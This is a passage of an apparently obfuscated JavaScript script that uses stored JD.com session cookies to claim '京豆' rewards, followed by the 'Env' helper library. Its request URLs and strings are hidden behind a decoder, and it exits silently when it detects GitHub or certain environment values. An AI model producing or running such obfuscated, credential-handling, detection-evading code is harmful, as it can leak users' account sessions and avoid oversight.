_0x15c2f7[_0x5104('f5','c8cL')](process[_0x5104('f6','8znP')][_0x5104('f7','UAL!')],_0x15c2f7[_0x5104('f8','aFT9')]);}else{_0x3d36af=JSON[_0x5104('f9','aFT9')](_0x3d36af);if(_0x15c2f7[_0x5104('fa','a7OV')](_0x3d36af[_0x5104('fb','8yWt')],'0')){console[_0x5104('8d','b9D7')](_0x5104('fc','Bl4V')+JSON[_0x5104('fd','l%@a')](_0x3d36af[_0x5104('fe','U#UB')]));message+=_0x5104('ff','yS!u')+_0x3d36af[_0x5104('fe','U#UB')][_0x5104('100','l%@a')][0x0][_0x5104('101','l7cY')]+'京豆';_0x52284b+=_0x5104('102','2jmD')+$[_0x5104('103','JqL1')]+'-'+($[_0x5104('104','c8cL')]||$[_0x5104('105','krRM')])+_0x5104('106','v2Do')+_0x3d36af[_0x5104('107','k!v4')][_0x5104('108','8yWt')][0x0][_0x5104('109',')RH!')]+'京豆'+(_0x15c2f7[_0x5104('10a','DCck')]($[_0x5104('10b','Nfin')],cookiesArr[_0x5104('10c','xG6!')])?'\x0a\x0a':'\x0a\x0a');}else if(_0x15c2f7[_0x5104('10d','k!v4')](_0x3d36af[_0x5104('10e','VQda')],'8')){console[_0x5104('10f','xG6!')](_0x5104('110','GGq8'));message+=_0x5104('111','UAL!');}else{console[_0x5104('2a','aFT9')](_0x5104('112','i8%)')+JSON[_0x5104('113','l7cY')](_0x3d36af));}}}}}catch(_0x4e03cd){$[_0x5104('114','b9D7')](_0x4e03cd,_0x516ee4);}finally{_0x15c2f7[_0x5104('115','U#UB')](_0x5a40eb);}}});}});}function _0x581886(_0x95abde){var _0x1e3fe3={'TUkUg':function(_0x142862,_0x4a805f){return _0x142862===_0x4a805f;},'ruknc':_0x5104('116','8yWt'),'VIiXL':_0x5104('117','U#UB'),'NoZao':function(_0xb3a0b2,_0x38d7b0){return _0xb3a0b2!==_0x38d7b0;},'NgTRJ':_0x5104('118','xeT2'),'zzYfg':_0x5104('119','b9D7'),'LeCeq':function(_0x1c8ac1,_0x510a77){return _0x1c8ac1==_0x510a77;},'WneUS':function(_0x311f91,_0x4f2e49){return _0x311f91===_0x4f2e49;},'lfykG':_0x5104('11a','O@D['),'itpDM':function(_0x4149af,_0x34a00f){return _0x4149af!==_0x34a00f;},'AZezI':_0x5104('11b','Aqd^'),'wVLHQ':_0x5104('11c','Bl4V'),'VICFv':function(_0x1ab683,_0x38b9d5){return _0x1ab683(_0x38b9d5);}};return new Promise(_0x57598d=>{var _0x48035c={'JWCZs':function(_0x1c23d2,_0x39aeb3){return _0x1e3fe3[_0x5104('11d','Hrkv')](_0x1c23d2,_0x39aeb3);},'EepGE':_0x1e3fe3[_0x5104('11e','eS#*')],'zxrNS':_0x1e3fe3[_0x5104('11f','VQda')],'YhUuO':function(_0x29e42e,_0x1d2ec3){return _0x1e3fe3[_0x5104('120','xG6!')](_0x29e42e,_0x1d2ec3);},'DOgny':_0x1e3fe3[_0x5104('121','c8cL')],'sZIHE':_0x1e3fe3[_0x5104('122','k!v4')],'VBUUR':function(_0x2959bd,_0x1a4236){return _0x1e3fe3[_0x5104('123','[qOf')](_0x2959bd,_0x1a4236);},'SXvJG':function(_0x5281e6,_0x4652aa){return _0x1e3fe3[_0x5104('124','l7cY')](_0x5281e6,_0x4652aa);},'vqIed':_0x1e3fe3[_0x5104('125','eS#*')],'QgOhj':function(_0x53b1b2,_0x102e19){return _0x1e3fe3[_0x5104('126','Bl4V')](_0x53b1b2,_0x102e19);},'ERQAK':_0x1e3fe3[_0x5104('127','v2Do')],'WlWwc':_0x1e3fe3[_0x5104('128','gZtA')],'yMBPB':function(_0x3557e2,_0x160c8f){return _0x1e3fe3[_0x5104('129','yS!u')](_0x3557e2,_0x160c8f);}};let _0x44fb1a='';$[_0x5104('12a','eS#*')]({'url':_0x95abde},async(_0x5b5fc8,_0x3d5d96,_0x2d5b60)=>{if(_0x48035c[_0x5104('12b','$GFC')](_0x48035c[_0x5104('12c','U#UB')],_0x48035c[_0x5104('12d','67VH')])){return new Promise(_0x33a00d=>setTimeout(_0x33a00d,time));}else{try{if(_0x48035c[_0x5104('12e','UOrG')](_0x48035c[_0x5104('12f','i9hN')],_0x48035c[_0x5104('130','aFT9')])){_0x44fb1a='';}else{if(_0x5b5fc8){if(_0x48035c[_0x5104('131','GGq8')](_0x3d5d96[_0x5104('132','eS#*')],0x202)){console[_0x5104('5e','TnkI')](_0x5104('133','l%@a'));}else{if(_0x48035c[_0x5104('134','O@D[')](_0x48035c[_0x5104('135','aFT9')],_0x48035c[_0x5104('136','GGq8')])){console[_0x5104('137','Nfin')](''+JSON[_0x5104('138','v2Do')](_0x5b5fc8));}else{_0x2d5b60=JSON[_0x5104('139','eS#*')](_0x2d5b60);if(_0x48035c[_0x5104('13a','DFxo')](_0x2d5b60[_0x48035c[_0x5104('13b','v2Do')]],0xd)){$[_0x5104('13c','b9D7')]=![];return;}if(_0x48035c[_0x5104('13d','XSyJ')](_0x2d5b60[_0x48035c[_0x5104('13e','DCck')]],0x0)){$[_0x5104('13f','YHml')]=_0x2d5b60[_0x48035c[_0x5104('140','Hrkv')]]&&_0x2d5b60[_0x48035c[_0x5104('141','l7cY')]][_0x5104('142','JqL1')]||$[_0x5104('143','i8%)')];}else{$[_0x5104('144','Aqd^')]=$[_0x5104('145','DCck')];}}}_0x44fb1a='';}else{if(!!_0x2d5b60){_0x44fb1a=_0x2d5b60[_0x5104('146','ZS#B')](/[\r\n]/g,'');}else{if(_0x48035c[_0x5104('147','YHml')](_0x48035c[_0x5104('148','yS!u')],_0x48035c[_0x5104('149','TKCI')])){$[_0x5104('13f','YHml')]=$[_0x5104('14a','eS#*')];}else{_0x44fb1a='';}}}}}catch(_0x11fd9e){$[_0x5104('14b','U4Xo')](_0x11fd9e,_0x3d5d96);}finally{if(_0x48035c[_0x5104('14c','U4Xo')](_0x48035c[_0x5104('14d','VQda')],_0x48035c[_0x5104('14e','U4Xo')])){$[_0x5104('14f','v2Do')](e,_0x3d5d96);}else{_0x48035c[_0x5104('150','l7cY')](_0x57598d,_0x44fb1a);}}}});});}function _0x5172b1(){var _0x8f166a={'iLRNw':_0x5104('151','RUq)'),'wNZgG':_0x5104('152','VQda')};let _0x3c1502=_0x8f166a[_0x5104('153','krRM')];if($[_0x5104('154','krRM')]()&&process[_0x5104('155','l%@a')][_0x5104('156','8znP')]){_0x3c1502=process[_0x5104('157','Bl4V')][_0x5104('156','8znP')];}else if($[_0x5104('158','Hrkv')](_0x8f166a[_0x5104('159','l7cY')])){_0x3c1502=$[_0x5104('15a','TKCI')](_0x8f166a[_0x5104('15b','RUq)')]);}return _0x3c1502;}function _0x577a1f(){var _0x584c06={'vKwzA':function(_0x51a557,_0x36cb55){return _0x51a557===_0x36cb55;},'kLVXt':function(_0x3ac1a9,_0x2f90bd){return _0x3ac1a9!==_0x2f90bd;},'qqUYP':function(_0x968f4,_0x29eb93){return _0x968f4===_0x29eb93;},'oLMTM':function(_0x180cfd,_0x14acaf){return _0x180cfd!=_0x14acaf;},'vZSDL':_0x5104('15c','UAL!'),'iPYZK':_0x5104('15d','8znP'),'ZTtNY':_0x5104('15e','ZS#B'),'jQcur':_0x5104('15f','TKCI'),'KIokv':function(_0x2cc3d1,_0x3fab21){return _0x2cc3d1!=_0x3fab21;}};if($[_0x5104('0','Nfin')]()&&process[_0x5104('157','Bl4V')][_0x5104('160','krRM')]){return _0x584c06[_0x5104('161','xeT2')](process[_0x5104('162','xG6!')][_0x5104('f7','UAL!')],_0x584c06[_0x5104('163','VQda')]);}else if($[_0x5104('164','UOrG')](_0x584c06[_0x5104('165','XSyJ')])){if(_0x584c06[_0x5104('166','a7OV')](_0x584c06[_0x5104('167','TKCI')],_0x584c06[_0x5104('168','Bl4V')])){return _0x584c06[_0x5104('169','XSyJ')]($[_0x5104('13','l7cY')](_0x584c06[_0x5104('16a','krRM')]),_0x584c06[_0x5104('16b','*rlg')]);}else{data=JSON[_0x5104('16c','DCck')](data);if(_0x584c06[_0x5104('16d','l%@a')](data[_0x5104('16e','Nfin')],'0')){console[_0x5104('16f','U4Xo')](_0x5104('170','U4Xo')+JSON[_0x5104('171','67VH')](data[_0x5104('172','gP@$')]));message+=_0x5104('173','8znP')+data[_0x5104('174','2jmD')][_0x5104('175','U#UB')][0x0][_0x5104('176','$GFC')]+'京豆';_0x52284b+=_0x5104('177','gP@$')+$[_0x5104('72','GGq8')]+'-'+($[_0x5104('178','O@D[')]||$[_0x5104('179','[qOf')])+_0x5104('17a','l%@a')+data[_0x5104('17b','$GFC')][_0x5104('17c','VQda')][0x0][_0x5104('17d','GGq8')]+'京豆'+(_0x584c06[_0x5104('17e','xN7K')]($[_0x5104('17f','UAL!')],cookiesArr[_0x5104('b9','k!v4')])?'\x0a\x0a':'\x0a\x0a');}else if(_0x584c06[_0x5104('180','U4Xo')](data[_0x5104('181','YHml')],'8')){console[_0x5104('ee','2jmD')](_0x5104('110','GGq8'));message+=_0x5104('182','gP@$');}else{console[_0x5104('183','UAL!')](_0x5104('184','TKCI')+JSON[_0x5104('185','gZtA')](data));}}}return!![];}function _0x24e6d8(_0x278287,_0x3c3dc0={}){var _0xa75f3c={'LMdZG':function(_0x3fe69e,_0x5c6c8a){return _0x3fe69e(_0x5c6c8a);},'dSEPq':function(_0xed0269,_0x43a27f){return _0xed0269+_0x43a27f;},'NlaRN':function(_0x9e2b2e,_0x2da20e){return _0x9e2b2e*_0x2da20e;},'moMlH':function(_0x1d1b0b,_0x12a5d5){return _0x1d1b0b*_0x12a5d5;},'haCrz':function(_0x2e7c08,_0x1d8d17){return _0x2e7c08*_0x1d8d17;},'NIvtQ':_0x5104('186','67VH'),'IFeQQ':_0x5104('187','JqL1'),'KwLlJ':_0x5104('188','xN7K'),'WqzNM':_0x5104('189','Bl4V'),'CMIZk':_0x5104('18a','gP@$'),'knrFu':_0x5104('18b','l%@a'),'NQFfE':_0x5104('18c','Gv%S')};return{'url':_0x4a370d+_0x5104('18d','2jmD')+_0x278287+_0x5104('18e','8yWt')+_0xa75f3c[_0x5104('18f','UOrG')](escape,JSON[_0x5104('190','8yWt')](_0x3c3dc0))+_0x5104('191','(1l7')+_0xa75f3c[_0x5104('192','GGq8')](_0xa75f3c[_0x5104('193','ao5M')](new Date()[_0x5104('194','@nbV')](),_0xa75f3c[_0x5104('195','U4Xo')](_0xa75f3c[_0x5104('196',')RH!')](new Date()[_0x5104('197','U4Xo')](),0x3c),0x3e8)),_0xa75f3c[_0x5104('198','Bl4V')](_0xa75f3c[_0x5104('199','TnkI')](_0xa75f3c[_0x5104('19a','v2Do')](0x8,0x3c),0x3c),0x3e8)),'headers':{'Accept':_0xa75f3c[_0x5104('19b','O@D[')],'Accept-Encoding':_0xa75f3c[_0x5104('19c','GGq8')],'Accept-Language':_0xa75f3c[_0x5104('19d','UOrG')],'Connection':_0xa75f3c[_0x5104('19e','i8%)')],'Content-Type':_0xa75f3c[_0x5104('19f','@nbV')],'Host':_0xa75f3c[_0x5104('1a0','a7OV')],'Referer':_0x5104('1a1','*rlg')+$[_0x5104('1a2','v2Do')]+_0x5104('1a3','i9hN'),'Cookie':cookie,'User-Agent':_0xa75f3c[_0x5104('1a4','2jmD')]}};}function _0x3a17fc(){var _0x91648d={'Ssmik':function(_0x45145c,_0x28d753){return _0x45145c===_0x28d753;},'NkDCB':_0x5104('1a5','U#UB'),'Gdsae':function(_0x564917,_0x4e1238){return _0x564917>_0x4e1238;},'JmzTZ':_0x5104('1a6','8yWt'),'tzuQg':function(_0xcc46dc){return _0xcc46dc();},'WCcnP':function(_0x59deb4,_0x52cc2d){return _0x59deb4(_0x52cc2d);},'isxwi':function(_0x2fe9a2,_0x42dc2b){return _0x2fe9a2!==_0x42dc2b;},'yTmJG':_0x5104('1a7','yS!u'),'nkJVU':function(_0x5bf325,_0x39567d){return _0x5bf325!==_0x39567d;},'rlhzV':_0x5104('1a8','67VH'),'HLRug':_0x5104('1a9','@nbV'),'psTHu':_0x5104('1aa','TKCI'),'nwnzP':_0x5104('1ab','*rlg'),'LftCo':function(_0xdb5f8a,_0x3efe22){return _0xdb5f8a!==_0x3efe22;},'gHpwN':_0x5104('1ac','c8cL'),'zyvmj':_0x5104('1ad','VQda'),'SSFAh':_0x5104('1ae','JqL1'),'SzIQY':_0x5104('1af','GGq8'),'YtGsL':function(_0xcde8d4,_0x143612){return _0xcde8d4!==_0x143612;},'rRrfR':_0x5104('1b0','2jmD'),'JPENA':_0x5104('1b1','Nfin'),'iBmsc':_0x5104('1b2','U4Xo'),'dyJTV':_0x5104('1b3','Bl4V'),'LvUQe':function(_0xd9e0d2,_0x1a14eb){return _0xd9e0d2===_0x1a14eb;},'THrXv':_0x5104('1b4','a7OV'),'mGUDm':_0x5104('1b5','ao5M'),'brKWK':_0x5104('1b6','Hrkv'),'qCaVm':_0x5104('1b7','l7cY'),'iSyPB':_0x5104('1b8','l7cY'),'CjwgV':_0x5104('1b9','UAL!'),'wShxk':_0x5104('1ba','2jmD'),'vTyFB':_0x5104('1bb','yS!u'),'WmWst':_0x5104('1bc','YHml')};return new Promise(async _0x5ada5f=>{var _0x5bfe15={'RKtqA':_0x91648d[_0x5104('1bd','b9D7')],'Wnzsz':_0x91648d[_0x5104('1be','xN7K')]};if(_0x91648d[_0x5104('1bf','yS!u')](_0x91648d[_0x5104('1c0','Aqd^')],_0x91648d[_0x5104('1c1','TnkI')])){const _0x501bd6={'url':_0x5104('1c2','Gv%S'),'headers':{'Accept':_0x91648d[_0x5104('1c3','U#UB')],'Content-Type':_0x91648d[_0x5104('1c4','i8%)')],'Accept-Encoding':_0x91648d[_0x5104('1c5','U4Xo')],'Accept-Language':_0x91648d[_0x5104('1c6','l7cY')],'Connection':_0x91648d[_0x5104('1c7','xeT2')],'Cookie':cookie,'Referer':_0x91648d[_0x5104('1c8','aFT9')],'User-Agent':$[_0x5104('0','Nfin')]()?process[_0x5104('1c9','U#UB')][_0x5104('1ca','xG6!')]?process[_0x5104('1cb','i8%)')][_0x5104('1cc','DFxo')]:_0x91648d[_0x5104('1cd','$GFC')]:$[_0x5104('1ce','gP@$')](_0x91648d[_0x5104('1cf','k!v4')])?$[_0x5104('1d0','RUq)')](_0x91648d[_0x5104('1d1','l%@a')]):_0x91648d[_0x5104('1d2','U#UB')]}};$[_0x5104('1d3','v2Do')](_0x501bd6,(_0x51e139,_0x45f2fc,_0x3b45ca)=>{var _0x2e0d74={'oYGxX':function(_0x16b62c,_0x54aa82){return _0x91648d[_0x5104('1d4','DFxo')](_0x16b62c,_0x54aa82);},'KDmya':_0x91648d[_0x5104('1d5','8znP')],'Pdhih':function(_0x25ddcc,_0xb7c63a){return _0x91648d[_0x5104('1d6','DFxo')](_0x25ddcc,_0xb7c63a);},'CiQHY':_0x91648d[_0x5104('1d7','ao5M')],'YXeUS':function(_0x243d44){return _0x91648d[_0x5104('1d8','k!v4')](_0x243d44);},'kWeKW':function(_0x38d80e,_0x345674){return _0x91648d[_0x5104('1d9','DCck')](_0x38d80e,_0x345674);}};if(_0x91648d[_0x5104('1da','JqL1')](_0x91648d[_0x5104('1db','2jmD')],_0x91648d[_0x5104('1dc','yS!u')])){Object[_0x5104('1dd','O@D[')](jdCookieNode)[_0x5104('1de','RUq)')](_0x9d0d29=>{cookiesArr[_0x5104('1df','@nbV')](jdCookieNode[_0x9d0d29]);});if(process[_0x5104('1e0','Hrkv')][_0x5104('1e1','DFxo')]&&_0x2e0d74[_0x5104('1e2','DCck')](process[_0x5104('162','xG6!')][_0x5104('7','gP@$')],_0x2e0d74[_0x5104('1e3','TKCI')]))console[_0x5104('1e4','i8%)')]=()=>{};if(_0x2e0d74[_0x5104('1e5','2jmD')](JSON[_0x5104('113','l7cY')](process[_0x5104('1e6','U4Xo')])[_0x5104('1e7','Bl4V')](_0x2e0d74[_0x5104('1e8','ao5M')]),-0x1)){process[_0x5104('1e9','*rlg')](0x0);}}else{try{if(_0x51e139){if(_0x91648d[_0x5104('1ea','aFT9')](_0x91648d[_0x5104('1eb','eS#*')],_0x91648d[_0x5104('1ec','i9hN')])){_0x2e0d74[_0x5104('1ed','yS!u')](_0x5ada5f);}else{console[_0x5104('9','xN7K')](''+JSON[_0x5104('1ee','TKCI')](_0x51e139));console[_0x5104('1ef','k!v4')]($[_0x5104('1f0','2jmD')]+_0x5104('1f1','eS#*'));}}else{if(_0x91648d[_0x5104('1f2','XSyJ')](_0x91648d[_0x5104('1f3','l%@a')],_0x91648d[_0x5104('1f4','i8%)')])){if(_0x3b45ca){_0x3b45ca=JSON[_0x5104('1f5','JqL1')](_0x3b45ca);if(_0x91648d[_0x5104('1f6','gZtA')](_0x3b45ca[_0x91648d[_0x5104('1f7','(1l7')]],0xd)){$[_0x5104('1f8','O@D[')]=![];return;}if(_0x91648d[_0x5104('1f9','VQda')](_0x3b45ca[_0x91648d[_0x5104('1fa','*rlg')]],0x0)){if(_0x91648d[_0x5104('1fb','[qOf')](_0x91648d[_0x5104('1fc','ao5M')],_0x91648d[_0x5104('1fd','GGq8')])){ids[_0x2e0d74[_0x5104('1fe','U#UB')](String,i)]=codeItem;}else{$[_0x5104('1ff','gP@$')]=_0x3b45ca[_0x91648d[_0x5104('200','krRM')]]&&_0x3b45ca[_0x91648d[_0x5104('201','UOrG')]][_0x5104('202','UOrG')]||$[_0x5104('203','UAL!')];}}else{if(_0x91648d[_0x5104('204','xG6!')](_0x91648d[_0x5104('205','b9D7')],_0x91648d[_0x5104('206','$GFC')])){$[_0x5104('ad','@nbV')](_0x5104('207','Nfin'));return;}else{$[_0x5104('208','TKCI')]=$[_0x5104('209','*rlg')];}}}else{if(_0x91648d[_0x5104('20a','U4Xo')](_0x91648d[_0x5104('20b',')RH!')],_0x91648d[_0x5104('20c','Gv%S')])){console[_0x5104('10f','xG6!')](''+JSON[_0x5104('20d','*rlg')](_0x51e139));console[_0x5104('20e','O@D[')]($[_0x5104('84','U4Xo')]+_0x5104('20f','i8%)'));}else{console[_0x5104('70','XSyJ')](_0x5104('210','Hrkv'));}}}else{$[_0x5104('5e','TnkI')](_0x5104('211','TnkI'));return;}}}catch(_0x9019da){if(_0x91648d[_0x5104('212','(1l7')](_0x91648d[_0x5104('213','ZS#B')],_0x91648d[_0x5104('214','8yWt')])){$[_0x5104('215','k!v4')](_0x9019da,_0x45f2fc);}else{$[_0x5104('216','DCck')]($[_0x5104('217','eS#*')],_0x5bfe15[_0x5104('218','xN7K')],_0x5bfe15[_0x5104('219','eS#*')],{'open-url':_0x5bfe15[_0x5104('21a','*rlg')]});return;}}finally{_0x91648d[_0x5104('21b','YHml')](_0x5ada5f);}}});}else{$[_0x5104('21c','ao5M')]('','❌\x20'+$[_0x5104('21d','l%@a')]+_0x5104('21e','xN7K')+e+'!','');}});}function _0x154d96(_0x9dc722){var _0x443c1a={'NspQv':_0x5104('21f','gP@$'),'eGpYI':function(_0x5bbab7,_0x559680){return _0x5bbab7===_0x559680;},'UpusT':_0x5104('220','ao5M'),'GFSnN':function(_0x5b7ada,_0x99a201){return _0x5b7ada==_0x99a201;},'OPUrT':_0x5104('221','l%@a')};try{if(_0x443c1a[_0x5104('222','i8%)')](_0x443c1a[_0x5104('223','UAL!')],_0x443c1a[_0x5104('224','Bl4V')])){if(_0x443c1a[_0x5104('225','(1l7')](typeof JSON[_0x5104('226','U#UB')](_0x9dc722),_0x443c1a[_0x5104('227','xN7K')])){return!![];}}else{rras=$[_0x5104('164','UOrG')](_0x443c1a[_0x5104('228','gZtA')]);$[_0x5104('229','UOrG')](_0x5104('22a','DCck')+rras);}}catch(_0x12a19e){console[_0x5104('22b','l7cY')](_0x12a19e);console[_0x5104('70','XSyJ')](_0x5104('22c','xeT2'));return![];}}function _0x45775d(_0x4139e7){var _0xffc3ba={'SyXTU':function(_0x32c357,_0x4b9657){return _0x32c357!=_0x4b9657;},'FJQtK':function(_0x5ec063,_0x30daf6){return _0x5ec063<_0x30daf6;},'HYyVK':function(_0x301b37,_0x147640){return _0x301b37+_0x147640;},'WNQYl':function(_0x8afe65,_0x5ed94c,_0x47ffdb){return _0x8afe65(_0x5ed94c,_0x47ffdb);},'VhtxH':_0x5104('22d','a7OV'),'YXaGJ':function(_0x3d6824,_0x290f55){return _0x3d6824==_0x290f55;},'ozioD':_0x5104('22e','*rlg'),'PwXlp':function(_0x5959f6,_0x2f8746){return _0x5959f6===_0x2f8746;},'dfckc':_0x5104('22f','8znP'),'YDXTo':_0x5104('230','O@D['),'XhOOa':function(_0x431a44,_0x2eb801){return _0x431a44===_0x2eb801;},'ceAzI':_0x5104('231','RUq)'),'qzbLg':_0x5104('232','aFT9')};if(_0xffc3ba[_0x5104('233','v2Do')](typeof _0x4139e7,_0xffc3ba[_0x5104('234','xG6!')])){try{if(_0xffc3ba[_0x5104('235','DCck')](_0xffc3ba[_0x5104('236','ao5M')],_0xffc3ba[_0x5104('237','UAL!')])){if(_0xffc3ba[_0x5104('238','UAL!')](code[_0x5104('239','ao5M')]('-'),-0x1)){_0x1fff84=!![];let _0x44b356=code[_0x5104('49','v2Do')]()[_0x5104('23a','UAL!')](/-/g,'');var _0x10030c=_0x44b356[_0x5104('23b','ZS#B')]('')[_0x5104('23c','xG6!')]()[_0x5104('23d','RUq)')]('');var _0x1450d6=_0x10030c[_0x5104('23e','*rlg')];var _0x5e6c46;var _0x572ffa=[];for(var _0x4df6a8=0x0;_0xffc3ba[_0x5104('23f','VQda')](_0x4df6a8,_0x1450d6);_0x4df6a8=_0xffc3ba[_0x5104('240','67VH')](_0x4df6a8,0x2)){_0x5e6c46=_0xffc3ba[_0x5104('241','xG6!')](parseInt,_0x10030c[_0x5104('242','8znP')](_0x4df6a8,0x2),0x10);_0x572ffa[_0x5104('243','DCck')](String[_0x5104('244','(1l7')](_0x5e6c46));}return _0x572ffa[_0x5104('245','Bl4V')]('')[_0x5104('246','a7OV')](/#/g,'');}else{return code;}}else{return JSON[_0x5104('247','a7OV')](_0x4139e7);}}catch(_0x5471fe){if(_0xffc3ba[_0x5104('248','@nbV')](_0xffc3ba[_0x5104('249','krRM')],_0xffc3ba[_0x5104('24a',')RH!')])){try{return JSON[_0x5104('247','a7OV')](_0x4139e7);}catch(_0x594a55){console[_0x5104('24b','gZtA')](_0x594a55);$[_0x5104('24c','[qOf')]($[_0x5104('7b','Gv%S')],'',_0xffc3ba[_0x5104('24d','b9D7')]);return[];}}else{console[_0x5104('ad','@nbV')](_0x5471fe);$[_0x5104('24e','$GFC')]($[_0x5104('24f','$GFC')],'',_0xffc3ba[_0x5104('250','Gv%S')]);return[];}}}};_0xodO='jsjiami.com.v6'; + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return 